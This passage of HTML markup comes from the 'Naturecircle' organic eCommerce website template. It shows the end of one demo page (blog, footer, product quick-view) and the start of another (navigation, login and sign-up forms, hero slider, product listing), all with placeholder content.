                    <div class="image-carousel">
                        <div class="testi-img">
                            <img src="assets/img/testimonial/1.png" alt="">
                            <h4>Dewey Tetzlaff</h4>
                        </div>
                        <div class="testi-img">
                            <img src="assets/img/testimonial/2.png" alt="">
                            <h4>Rebecka Filson</h4>
                        </div>
                        <div class="testi-img">
                            <img src="assets/img/testimonial/3.png" alt="">
                            <h4>Alva Ono</h4>
                        </div>
                        <div class="testi-img">
                            <img src="assets/img/testimonial/1.png" alt="">
                            <h4>Dewey Tetzlaff</h4>
                        </div>
                        <div class="testi-img">
                            <img src="assets/img/testimonial/2.png" alt="">
                            <h4>Rebecka Filson</h4>
                        </div>
                        <div class="testi-img">
                            <img src="assets/img/testimonial/3.png" alt="">
                            <h4>Alva Ono</h4>
                        </div>
                    </div>
                </div> 
            </div>
        </div>
        <!-- Testimonial Area End -->
        <!-- Blog Area Start -->
        <div class="blog-area pb-95">
            <div class="container">
                <div class="section-title text-center mb-50">
                    <div class="section-img d-flex justify-content-center">
                        <img src="assets/img/icon/title.png" alt="">
                    </div>
                    <h2><span>Organic </span>from our blog</h2>
                </div>
            </div>
            <div class="container">
                <div class="custom-row">
                    <div class="blog-carousel">
                        <div class="custom-col text-center">
                            <div class="single-blog">
                                <div class="blog-image">
                                    <a href="blog-details.html"><img src="assets/img/blog/1.jpg" alt=""></a>
                                </div>
                                <div class="blog-text">
                                    <h4><a href="blog-details.html">Coconut improve heart and immunity.</a></h4>
                                    <div class="post-meta">
                                        <span class="author-name">post by: <span>Naturecircle Themes</span></span>
                                        <span class="post-date"> - Oct 30,2018</span>
                                    </div>
                                    <p>Coconut milk is one of the healthiest foods on world, health benefits of coconut milk make it quite popular.</p>
                                    <a href="blog-details.html" class="default-btn">Read more</a>
                                </div>
                            </div>
                        </div>
                        <div class="custom-col text-center">
                            <div class="single-blog">
                                <div class="blog-image">
                                    <a href="blog-details.html"><img src="assets/img/blog/2.jpg" alt=""></a>
                                </div>
                                <div class="blog-text">
                                    <h4><a href="blog-details.html">The most healthful food you can eat.</a></h4>
                                    <div class="post-meta">
                                        <span class="author-name">post by: <span>Naturecircle Themes</span></span>
                                        <span class="post-date"> - Sep 11,2018</span>
                                    </div>
                                    <p>Health benefits of apple include improved digestion, prevention of stomach disorders, gallstones.</p>
                                    <a href="blog-details.html" class="default-btn">Read more</a>
                                </div>
                            </div>
                        </div>
                        <div class="custom-col text-center">
                            <div class="single-blog">
                                <div class="blog-image">
                                    <a href="blog-details.html"><img src="assets/img/blog/3.jpg" alt=""></a>
                                </div>
                                <div class="blog-text">
                                    <h4><a href="blog-details.html">Delicious and nutritious vegetable.</a></h4>
                                    <div class="post-meta">
                                        <span class="author-name">post by: <span>Naturecircle Themes</span></span>
                                        <span class="post-date"> - Apr 22,2018</span>
                                    </div>
                                    <p>Research shows drinking beetroot juice benefit digestion, boost athletic performance. They are a good source.</p>
                                    <a href="blog-details.html" class="default-btn">Read more</a>
                                </div>
                            </div>
                        </div>
                        <div class="custom-col text-center">
                            <div class="single-blog">
                                <div class="blog-image">
                                    <a href="blog-details.html"><img src="assets/img/blog/1.jpg" alt=""></a>
                                </div>
                                <div class="blog-text">
                                    <h4><a href="blog-details.html">Coconut improve heart and immunity.</a></h4>
                                    <div class="post-meta">
                                        <span class="author-name">post by: <span>Naturecircle Themes</span></span>
                                        <span class="post-date"> - Oct 30,2018</span>
                                    </div>
                                    <p>Coconut milk is one of the healthiest foods on world, health benefits of coconut milk make it quite popular.</p>
                                    <a href="blog-details.html" class="default-btn">Read more</a>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- Blog Area End -->
        <!-- Footer Area Start -->
        <footer class="footer-area">
            <!-- Footer Top Area Start -->
            <div class="footer-top bg-4 pt-120 pb-120">
                <!-- Newsletter Area Start -->
                    <div class="newsletter-area">
                        <div class="container text-center">
                            <div class="newsletter-container">
                                <h2>Subscribe Newsletter.</h2>
                                <p>Get e-mail updates about our latest shop and special offers.</p>
                                <div class="newsletter-form mc_embed_signup">
                                    <form action="#" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank" novalidate>
                                        <div id="mc_embed_signup_scroll" class="mc-form">
                                            <input type="email" value="" name="EMAIL" class="email" id="mce-EMAIL" placeholder="Enter you email address here..." required>
                                            <!-- real people should not fill this in and expect good things - do not remove this or risk form bot signups-->
                                            <div class="mc-news" aria-hidden="true"><input type="text" name="b_6bbb9b6f5827bd842d9640c82_05d85f18ef" tabindex="-1" value=""></div>
                                            <button id="mc-embedded-subscribe" type="submit" name="subscribe" class="default-btn">Subscribe</button>
                                        </div>
                                    </form>
                                </div>
                            </div>
                            <div class="social-icon">
                                <a href="#"><i class="fa fa-twitter"></i></a>
                                <a href="#"><i class="fa fa-google-plus"></i></a>
                                <a href="#"><i class="fa fa-facebook"></i></a>
                                <a href="#"><i class="fa fa-youtube"></i></a>
                                <a href="#"><i class="fa fa-flickr"></i></a>
                            </div>
                        </div>
                    </div>
                <!-- Newsletter Area End -->
                <!-- Service Area Start -->
                <div class="service-area pt-50">
                    <div class="container">
                        <div class="service-container">
                            <div class="service-content">
                                <div class="row">
                                    <div class="col-lg-4 col-md-4">
                                        <div class="single-service">
                                            <div class="service-image">
                                                <img src="assets/img/icon/rocket.png" alt="">
                                            </div>
                                            <div class="service-text">
                                                <h3>Free delivery</h3>
                                                <p>Nam liber tempor cum soluta nobis eleifend option congue.</p>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="col-lg-4 col-md-4">
                                        <div class="single-service">
                                            <div class="service-image">
                                                <img src="assets/img/icon/money.png" alt="">
                                            </div>
                                            <div class="service-text">
                                                <h3>Money guarantee</h3>
                                                <p>Nam liber tempor cum soluta nobis eleifend option congue.</p>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="col-lg-4 col-md-4">
                                        <div class="single-service">
                                            <div class="service-image">
                                                <img src="assets/img/icon/support.png" alt="">
                                            </div>
                                            <div class="service-text">
                                                <h3>Online support</h3>
                                                <p>Nam liber tempor cum soluta nobis eleifend option congue.</p>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- Service Area End -->
                <!-- Footer Widget Area Start -->
                <div class="footer-widget-area">
                    <div class="container">
                        <div class="row">
                            <div class="col-lg-4 col-md-6">
                                <div class="single-footer-widget">
                                    <div class="footer-logo">
                                        <a href="#"><img src="assets/img/logo/logo.png" alt=""></a>
                                    </div>
                                    <p>Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum.</p>
                                    <div class="footer-text">
                                        <span><i class="icon icon-Pointer"></i>Address : No 40 Baria Sreet 133/2, NewYork, USA.</span>
                                        <span><i class="icon icon-Phone"></i>Phone : +(1234) 567 890</span>
                                        <span><i class="icon icon-Mail"></i>Email : demo@naturecircle.com</span>
                                    </div>
                                </div>
                            </div>
                            <div class="col-lg-2 col-md-3">
                                <div class="single-footer-widget">
                                    <h3>Products</h3>
                                    <ul class="footer-widget-list">
                                        <li><a href="shop.html">Prices drop</a></li>
                                        <li><a href="shop.html">New products</a></li>
                                        <li><a href="shop.html">Best sales</a></li>
                                        <li><a href="shop.html">Stores</a></li>
                                        <li><a href="#">Login</a></li>
                                        <li><a href="#">My Account</a></li>
                                    </ul>
                                </div>
                            </div>
                            <div class="col-lg-2 col-md-3">
                                <div class="single-footer-widget">
                                    <h3>Our company</h3>
                                    <ul class="footer-widget-list">
                                        <li><a href="#">Delivery</a></li>
                                        <li><a href="#">Legal Notice</a></li>
                                        <li><a href="#">Documentation</a></li>
                                        <li><a href="#">Secure payment</a></li>
                                        <li><a href="contact.html">Contact us</a></li>
                                        <li><a href="shop.html">Stores</a></li>
                                    </ul>
                                </div>
                            </div>
                            <div class="col-lg-4">
                                <div class="single-footer-widget">
                                    <h3>Instagram</h3>
                                    <div class="instagram-image">
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/1.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/2.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/3.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/4.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/5.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/6.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/7.jpg" alt=""></a>
                                        </div>
                                        <div class="single-insta-img">
                                            <a href="#"><img src="assets/img/instagram/8.jpg" alt=""></a>
                                        </div>
                                    </div>
                                    <a href="#">Follow our instagram <i class="fa fa-angle-double-right"></i></a>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- Footer Widget Area End -->
            </div>
            <!-- Footer Top Area End -->
            <!-- Footer Bottom Area Start -->
            <div class="footer-bottom-area pt-15 pb-30">
                <div class="container">
                    <div class="row">
                        <div class="col-lg-6 d-flex col-md-6">
                            <div class="footer-text-bottom">
                                <p>Copyright &copy; <a href="#">Naturecircle</a>. All Rights Reserved</p>
                            </div>
                        </div>
                        <div class="col-lg-6 col-md-6">
                            <div class="payment-img d-flex justify-content-end">
                                <img src="assets/img/payment.png" alt="">
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <!-- Footer Bottom Area End -->
        </footer>
        <!-- Footer Area End -->
        
        <!-- QUICKVIEW PRODUCT -->
        <div class="modal fade" id="productModal" tabindex="-1" role="dialog">
            <div class="modal-dialog" role="document">
                <div class="modal-content">
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true"><i class="fa fa-times"></i></span></button>
                    <div class="quick-view-container">
                        <div class="column-left">
                            <div class="tab-content product-details-large" id="myTabContent">
                                <div class="tab-pane fade show active" id="single-slide1" role="tabpanel" aria-labelledby="single-slide-tab-1">
                                    <div class="single-product-img">
                                        <img src="assets/img/product/1.jpg" alt="">
                                    </div>
                                </div>
                                <div class="tab-pane fade" id="single-slide2" role="tabpanel" aria-labelledby="single-slide-tab-2">
                                    <div class="single-product-img">
                                        <img src="assets/img/product/2.jpg" alt="">
                                    </div>
                                </div>
                                <div class="tab-pane fade" id="single-slide3" role="tabpanel" aria-labelledby="single-slide-tab-3">
                                    <div class="single-product-img">
                                        <img src="assets/img/product/3.jpg" alt="">
                                    </div>
                                </div>
                                <div class="tab-pane fade" id="single-slide4" role="tabpanel" aria-labelledby="single-slide-tab-4">
                                    <div class="single-product-img">
                                        <img src="assets/img/product/4.jpg" alt="">
                                    </div>
                                </div>
                                <div class="tab-pane fade" id="single-slide5" role="tabpanel" aria-labelledby="single-slide-tab-5">
                                    <div class="single-product-img">
                                        <img src="assets/img/product/5.jpg" alt="">
                                    </div>
                                </div>
                                <div class="tab-pane fade" id="single-slide6" role="tabpanel" aria-labelledby="single-slide-tab-6">
                                    <div class="single-product-img">
                                        <img src="assets/img/product/6.jpg" alt="">
                                    </div>
                                </div>
                            </div>
                            <div class="single-product-menu">
                                <div class="nav single-slide-menu" role="tablist">
                                    <div class="single-tab-menu">
                                        <a class="active" data-toggle="tab" id="single-slide-tab-1" href="#single-slide1"><img src="assets/img/product/1.jpg" alt=""></a>
                                    </div>
                                    <div class="single-tab-menu">
                                        <a data-toggle="tab" id="single-slide-tab-2" href="#single-slide2"><img src="assets/img/product/2.jpg" alt=""></a>
                                    </div>
                                    <div class="single-tab-menu">
                                        <a data-toggle="tab" id="single-slide-tab-3" href="#single-slide3"><img src="assets/img/product/3.jpg" alt=""></a>
                                    </div>
                                    <div class="single-tab-menu">
                                        <a data-toggle="tab" id="single-slide-tab-4" href="#single-slide4"><img src="assets/img/product/4.jpg" alt=""></a>
                                    </div>
                                    <div class="single-tab-menu">
                                        <a data-toggle="tab" id="single-slide-tab-5" href="#single-slide5"><img src="assets/img/product/5.jpg" alt=""></a>
                                    </div>
                                    <div class="single-tab-menu">
                                        <a data-toggle="tab" id="single-slide-tab-6" href="#single-slide6"><img src="assets/img/product/6.jpg" alt=""></a>
                                    </div>
                                </div>
                            </div>
                        </div>    
                        <div class="column-right">
                            <div class="quick-view-text">
                                <h2>Curabitur a purus</h2>
                                <h3 class="q-product-price">$34.00<span class="old-price">$37.00</span></h3>
                                <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco,Proin lectus ipsum, gravida et mattis vulputate, tristique ut lectus</p>
                                <div class="input-cart">
                                    <input value="1" type="number">
                                    <button class="default-btn">Add to cart</button>
                                </div>
                                <div class="share-product">
                                    <h4>Share this product</h4>
                                    <div class="social-link">
                                        <a href="#" target="_blank" class="facebook">
                                            <i class="fa fa-facebook"></i>
                                        </a>
                                        <a href="#" target="_blank" class="twitter">
                                            <i class="fa fa-twitter"></i>
                                        </a>
                                        <a href="#" target="_blank" class="pinterest">
                                            <i class="fa fa-pinterest"></i>
                                        </a>
                                        <a href="#" target="_blank" class="google">
                                            <i class="fa fa-google-plus"></i>
                                        </a>
                                        <a href="#" target="_blank" class="linkedin">
                                            <i class="fa fa-linkedin"></i>
                                        </a>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- END QUICKVIEW PRODUCT -->
        
        <!-- All js here -->
        <script src="assets/js/vendor/jquery-3.2.1.min.js"></script>
        <script src="assets/js/popper.min.js"></script>
        <script src="assets/js/bootstrap.min.js"></script>
        <script src="assets/js/plugins.js"></script>
        <script src="assets/js/ajax-mail.js"></script>
        <script src="assets/js/main.js"></script>
    </body>
</html>
<!doctype html>
<html class="no-js" lang="en">
    <head>
        <meta charset="utf-8">
        <meta http-equiv="x-ua-compatible" content="ie=edge">
        <title>Naturecircle - Premium eCommerce Template</title>
        <meta name="description" content="">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <!-- Favicon -->
        <link rel="shortcut icon" type="image/x-icon" href="assets/img/favicon.png">

        <!-- All css here -->
        <link rel="stylesheet" href="assets/css/bootstrap.min.css">
        <link rel="stylesheet" href="assets/css/font-awesome.min.css">
        <link rel="stylesheet" href="assets/css/ie7.css">
        <link rel="stylesheet" href="assets/css/plugins.css">
        <link rel="stylesheet" href="assets/css/style.css">
        <script src="assets/js/vendor/modernizr-3.5.0.min.js"></script>
    </head>
    <body>
        
        <!-- Header Area Start -->
        <header class="header-area header-sticky">
            <div class="header-container">
                <div class="row">
                    <div class="col-lg-5 display-none-md display-none-xs">
                        <div class="ht-main-menu">
                            <nav>
                                <ul>
                                    <li class="active"><a href="index.html">home <i class="fa fa-angle-down"></i></a>
                                        <ul>
                                            <li><a href="index.html">Home One</a></li>
                                            <li><a href="index-2.html">Home Two</a></li>
                                            <li><a href="index-3.html">Home Three</a></li>
                                            <li><a href="index-4.html">Home Four</a></li>
                                        </ul>
                                    </li>
                                    <li><a href="shop.html">vegetables <i class="fa fa-angle-down"></i></a>
                                        <ul class="ht-mega-menu">
                                            <li>
                                                <ul>
                                                    <li class="mega-menu-title">Bags</li>
                                                    <li><a href="shop.html">Crochet</a></li>
                                                    <li><a href="shop.html">Sleeveles</a></li>
                                                    <li><a href="shop.html">Stripes</a></li>
                                                    <li><a href="shop.html">Sweaters</a></li>
                                                    <li><a href="shop.html"><img src="assets/img/banner/menu-1.jpg" alt=""></a></li>
                                                </ul>
                                            </li>
                                            <li>
                                                <ul>
                                                    <li class="mega-menu-title">Bottoms</li>
                                                    <li><a href="shop.html">Flat sandals</a></li>
                                                    <li><a href="shop.html">Heeled sandals</a></li>
                                                    <li><a href="shop.html">Polo Short Sleeve</a></li>
                                                    <li><a href="shop.html">Short Sleeve</a></li>
                                                    <li><a href="shop.html"><img src="assets/img/banner/menu-2.jpg" alt=""></a></li>
                                                </ul>
                                            </li>
                                            <li>
                                                <ul>
                                                    <li class="mega-menu-title">Shirts</li>
                                                    <li><a href="shop.html">Flat sandals</a></li>
                                                    <li><a href="shop.html">Heeled sandals</a></li>
                                                    <li><a href="shop.html">Polo Short Sleeve</a></li>
                                                    <li><a href="shop.html">Short Sleeve</a></li>
                                                    <li><a href="shop.html"><img src="assets/img/banner/menu-3.jpg" alt=""></a></li>
                                                </ul>
                                            </li>
                                        </ul>
                                    </li>
                                    <li><a href="shop.html">Shop <i class="fa fa-angle-down"></i></a>
                                        <ul>
                                            <li><a href="shop-full-width.html">shop full Width</a></li>
                                            <li><a href="shop-right-sidebar.html">shop Right Sidebar</a></li>
                                            <li><a href="wishlist.html">Wishlist Page</a></li>
                                            <li><a href="cart.html">cart Page</a></li>
                                            <li><a href="checkout.html">checkout Page</a></li>
                                            <li><a href="product-details.html">Single Shop</a></li>
                                        </ul>
                                    </li>
                                    <li><a href="blog.html">blog <i class="fa fa-angle-down"></i></a>
                                        <ul>
                                            <li><a href="blog-2-column.html">blog 2 column</a></li>
                                            <li><a href="blog-3-column.html">blog 3 column</a></li>
                                            <li><a href="blog-left-sidebar.html">blog Left Sidebar</a></li>
                                            <li><a href="blog-details.html">blog details</a></li>
                                            <li><a href="blog-details-left-sidebar.html">blog details left Sidebar</a></li>
                                        </ul>
                                    </li>
                                    <li><a href="contact.html">contact</a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                    <div class="col-lg-2 col-sm-4">
                        <div class="logo text-center">
                            <a href="index.html"><img src="assets/img/logo/logo.png" alt="NatureCircle"></a>
                        </div>
                    </div>
                    <div class="col-lg-5 col-sm-8">
                        <div class="header-content d-flex justify-content-end">
                            <div class="search-wrapper">
                                <a href="#"><span class="icon icon-Search"></span></a>
                                <form action="#" class="search-form">
                                    <input type="text" placeholder="Search entire store here ...">
                                    <button type="button">Search</button>
                                </form>
                            </div>
                            <div class="settings-wrapper">
                                <a href="#"><i class="icon icon-Settings"></i></a>
                                <div class="settings-content">
                                    <h4>My Account <i class="fa fa-angle-down"></i></h4>
                                    <ul>
                                        <li><a href="#" class="modal-view button" data-toggle="modal" data-target="#register_box">Register</a></li>
                                        <li><a href="#" class="modal-view button" data-toggle="modal" data-target="#login_box">login</a></li>
                                    </ul>
                                    <h4>Currency: USD <i class="fa fa-angle-down"></i></h4>
                                    <ul>
                                        <li><a href="#">€ Euro</a></li>
                                        <li><a href="#">£ Pound Sterling</a></li>
                                        <li><a href="#">$ Us Dollar</a></li>
                                    </ul>
                                    <h4>Language: en-gb <i class="fa fa-angle-down"></i></h4>
                                    <ul>
                                        <li>
                                            <a href="#"><img src="assets/img/icon/flag-1.png" alt="">English</a>
                                        </li>
                                        <li>
                                            <a href="#"><img src="assets/img/icon/flag-2.png" alt="">Germany</a>
                                        </li>
                                    </ul>
                                </div>
                            </div>
                            <div class="cart-wrapper">
                                <a href="#">
                                    <i class="icon icon-FullShoppingCart"></i>
                                    <span>2</span>
                                </a>
                                <div class="cart-item-wrapper">
                                    <div class="single-cart-item">
                                        <div class="cart-img">
                                            <a href="cart.html"><img src="assets/img/cart/1.jpg" alt=""></a>
                                        </div>
                                        <div class="cart-text-btn">
                                            <div class="cart-text">
                                                <h5><a href="cart.html">Fresh Fruit Juice</a></h5>
                                                <span class="cart-qty">×1</span>
                                                <span class="cart-price">$68.00</span>
                                            </div>
                                            <button type="button"><i class="fa fa-close"></i></button>
                                        </div>
                                    </div>
                                    <div class="single-cart-item">
                                        <div class="cart-img">
                                            <a href="cart.html"><img src="assets/img/cart/2.jpg" alt=""></a>
                                        </div>
                                        <div class="cart-text-btn">
                                            <div class="cart-text">
                                                <h5><a href="cart.html">Fresh Vegetables</a></h5>
                                                <span class="cart-qty">×1</span>
                                                <span class="cart-price">$98.00</span>
                                            </div>
                                            <button type="button"><i class="fa fa-close"></i></button>
                                        </div>
                                    </div>
                                    <div class="cart-price-total">
                                        <div class="cart-price-info d-flex justify-content-between">
                                            <span>Sub-Total :</span>
                                            <span>$135.00</span>
                                        </div>
                                        <div class="cart-price-info d-flex justify-content-between">
                                            <span>Eco Tax (-2.00) :</span>
                                            <span>$4.00</span>
                                        </div>
                                        <div class="cart-price-info d-flex justify-content-between">
                                            <span>VAT (20%) :</span>
                                            <span>$27.00</span>
                                        </div>
                                        <div class="cart-price-info d-flex justify-content-between">
                                            <span>Total :</span>
                                            <span>$166.00</span>
                                        </div>
                                    </div>
                                    <div class="cart-links">
                                        <a href="cart.html">View cart</a>
                                        <a href="checkout.html">Checkout</a>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <!-- Header Area End -->
            <!-- Mobile Menu Area Start -->
            <div class="mobile-menu-area">
                <div class="mobile-menu container">
                    <nav id="mobile-menu-active">
                        <ul class="menu-overflow">
                            <li><a href="index.html">HOME</a>
                                <ul>
                                    <li><a href="index.html">Home One</a></li>
                                    <li><a href="index-2.html">Home Two</a></li>
                                    <li><a href="index-3.html">Home Three</a></li>
                                    <li><a href="index-4.html">Home Four</a></li>
                                </ul>
                            </li>
                            <li><a href="shop.html">Shop</a>
                                <ul>
                                    <li><a href="shop-full-width.html">shop full Width</a></li>
                                    <li><a href="shop-right-sidebar.html">shop Right Sidebar</a></li>
                                    <li><a href="wishlist.html">Wishlist Page</a></li>
                                    <li><a href="cart.html">cart Page</a></li>
                                    <li><a href="checkout.html">checkout Page</a></li>
                                    <li><a href="product-details.html">Single Shop</a></li>
                                </ul>
                            </li>
                            <li><a href="blog.html">Blog</a>
                                <ul>
                                    <li><a href="blog-2-column.html">blog 2 column</a></li>
                                    <li><a href="blog-3-column.html">blog 3 column</a></li>
                                    <li><a href="blog-left-sidebar.html">blog Left Sidebar</a></li>
                                    <li><a href="blog-details.html">blog details</a></li>
                                    <li><a href="blog-details-left-sidebar.html">blog details left Sidebar</a></li>
                                </ul>
                            </li>
                            <li><a href="contact.html">Contact</a></li>
                            <li><a href="404.html">404</a></li>
                        </ul>
                    </nav>							
                </div>
            </div>
            <!-- Mobile Menu Area End -->
            <!--Start of Login Form-->
            <div class="modal fade" id="login_box" tabindex="-1" role="dialog">
                <div class="modal-dialog" role="document">
                    <div class="modal-content">
                        <div class="modal-header">
                            <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true"><i class="fa fa-close"></i></span></button>
                        </div>
                        <div class="modal-body">
                            <div class="form-pop-up-content">
								<h2>Login to your account</h2>
								<form action="#" method="post">
									<div class="form-box">
										<input type="text" placeholder="User Name" name="username">
										<input type="password" placeholder="Password" name="pass">
									</div>
									<div class="checkobx-link">
									    <div class="left-col">
								            <input type="checkbox" id="remember_me"><label for="remember_me">Remember Me</label>
									    </div>
									    <div class="right-col"><a href="#">Forget Password?</a></div>
									</div>
								    <button type="submit">Sign In</button>
								</form>
							</div>
                        </div>	
                    </div>	
                </div>
            </div>
            <!--End of Login Form-->
            <!--Start of Register Form-->
            <div class="modal fade" id="register_box" tabindex="-1" role="dialog">
                <div class="modal-dialog" role="document">
                    <div class="modal-content">
                        <div class="modal-header">
                            <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true"><i class="fa fa-close"></i></span></button>
                        </div>
                        <div class="modal-body">
                            <div class="form-pop-up-content">
								<h2>Sign Up</h2>
								<form action="#" method="post">
									<div class="form-box">
										<input type="text" placeholder="Full Name" name="fullname">
										<input type="text" placeholder="User Name" name="username">
										<input type="email" placeholder="Email" name="email">
										<input type="password" placeholder="Password" name="pass">
										<input type="password" placeholder="Confirm Password" name="re_pass">
									</div>
									<div class="checkobx-link">
									    <div class="left-col">
								            <input type="checkbox" id="remember_reg"><label for="remember_reg">Remember Me</label>
									    </div>
									</div>
								    <button class="text-uppercase" type="submit">Register</button>
								</form>
							</div>
                        </div>	
                    </div>	
                </div>
            </div>
            <!--End of Register Form-->
        </header>
        <!-- Header Area End -->
        <!-- Hero Area Start -->
        <div class="ht-hero-section fix">
            <div class="ht-hero-slider">
                <!-- Single Slide Start -->
                <div class="ht-single-slide" style="background-image: url(assets/img/slider/1.jpg)">
                    <div class="ht-hero-content-one container">
                        <h3>Cold Process Organic</h3>
                        <h1 class="cssanimation leDoorCloseLeft sequence">Savon Stories</h1>
                        <p>We believe that healthy eating, clean air, and gentle character is the best start to genuine wellbeing.</p>
                        <a href="shop.html" class="default-btn large circle blue hover-blue uppercase">Shop now</a>
                    </div>
                </div>
                <!-- Single Slide End -->
                <!-- Single Slide Start -->
                <div class="ht-single-slide" style="background-image: url(assets/img/slider/2.jpg)">
                    <div class="ht-hero-content-one container">
                        <h3>Healthy life with</h3>
                        <h1 class="cssanimation leDoorCloseLeft sequence">Nature Organic</h1>
                        <p>Vegetables are the edible parts of a plant that is used in cooking or can be eaten raw.</p>
                        <a href="shop.html" class="default-btn">Shop now</a>
                    </div>
                </div>
                <!-- Single Slide End -->
            </div>
        </div>
        <!-- Hero Area End -->
        <!-- Food Categry Area Start -->
        <div class="food-category-area pt-105 pb-70">
            <div class="container text-center">
                <div class="section-title-img">
                    <img src="assets/img/banner/text.png" alt="">
                    <p>Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui</p>
                </div>
            </div>
            <div class="container">
                <div class="ht-food-slider row">
                    <div class="col text-center">
                        <div class="single-food-category">
                            <a href="shop.html" class="food-cat-img"><img src="assets/img/icon/tea.png" alt=""></a>
                            <img src="assets/img/icon/border.png" alt="">
                            <h4><a href="shop.html">tea</a></h4>
                            <span>(13 items)</span>
                        </div>
                    </div>
                    <div class="col text-center">
                        <div class="single-food-category">
                            <a href="shop.html" class="food-cat-img"><img src="assets/img/icon/burger.png" alt=""></a>
                            <img src="assets/img/icon/border.png" alt="">
                            <h4><a href="shop.html">bread</a></h4>
                            <span>(14 items)</span>
                        </div>
                    </div>
                    <div class="col text-center">
                        <div class="single-food-category">
                            <a href="shop.html" class="food-cat-img"><img src="assets/img/icon/fruit.png" alt=""></a>
                            <img src="assets/img/icon/border.png" alt="">
                            <h4><a href="shop.html">fruits</a></h4>
                            <span>(8 items)</span>
                        </div>
                    </div>
                    <div class="col text-center">
                        <div class="single-food-category">
                            <a href="shop.html" class="food-cat-img"><img src="assets/img/icon/drinks.png" alt=""></a>
                            <img src="assets/img/icon/border.png" alt="">
                            <h4><a href="shop.html">juices</a></h4>
                            <span>(11 items)</span>
                        </div>
                    </div>
                    <div class="col text-center">
                        <div class="single-food-category">
                            <a href="shop.html" class="food-cat-img"><img src="assets/img/icon/vegetable.png" alt=""></a>
                            <img src="assets/img/icon/border.png" alt="">
                            <h4><a href="shop.html">vegetables</a></h4>
                            <span>(11 items)</span>
                        </div>
                    </div>
                    <div class="col text-center">
                        <div class="single-food-category">
                            <a href="shop.html" class="food-cat-img"><img src="assets/img/icon/tea.png" alt=""></a>
                            <img src="assets/img/icon/border.png" alt="">
                            <h4><a href="shop.html">tea</a></h4>
                            <span>(13 items)</span>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- Food Categry Area End -->
        <!-- Protuct Area Start -->
        <div class="product-area bg-1 pt-110 pb-80">
            <div class="container">
                <div class="section-title text-center">
                    <div class="section-img d-flex justify-content-center">
                        <img src="assets/img/icon/title.png" alt="">
                    </div>
                    <h2><span>Organic </span>featured products</h2>
                </div>
            </div>
            <div class="container">
                <div class="product-tab-list nav" role="tablist">
                    <a class="active" href="#tab1" data-toggle="tab" role="tab" aria-selected="true" aria-controls="tab1">vegetables</a>
                    <a href="#tab2" data-toggle="tab" role="tab" aria-selected="false" aria-controls="tab2">fruits</a>
                    <a href="#tab3" data-toggle="tab" role="tab" aria-selected="false" aria-controls="tab3">juices</a>
                    <a href="#tab4" data-toggle="tab" role="tab" aria-selected="false" aria-controls="tab4">bread</a>
                </div>
                <div class="tab-content text-center">
                    <div class="tab-pane active show fade" id="tab1" role="tabpanel">
                        <div class="product-carousel">
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/1.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/1.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Juicy Grapes</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$86.00</span> 
                                            <span class="old-price">$92.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/2.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/2.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
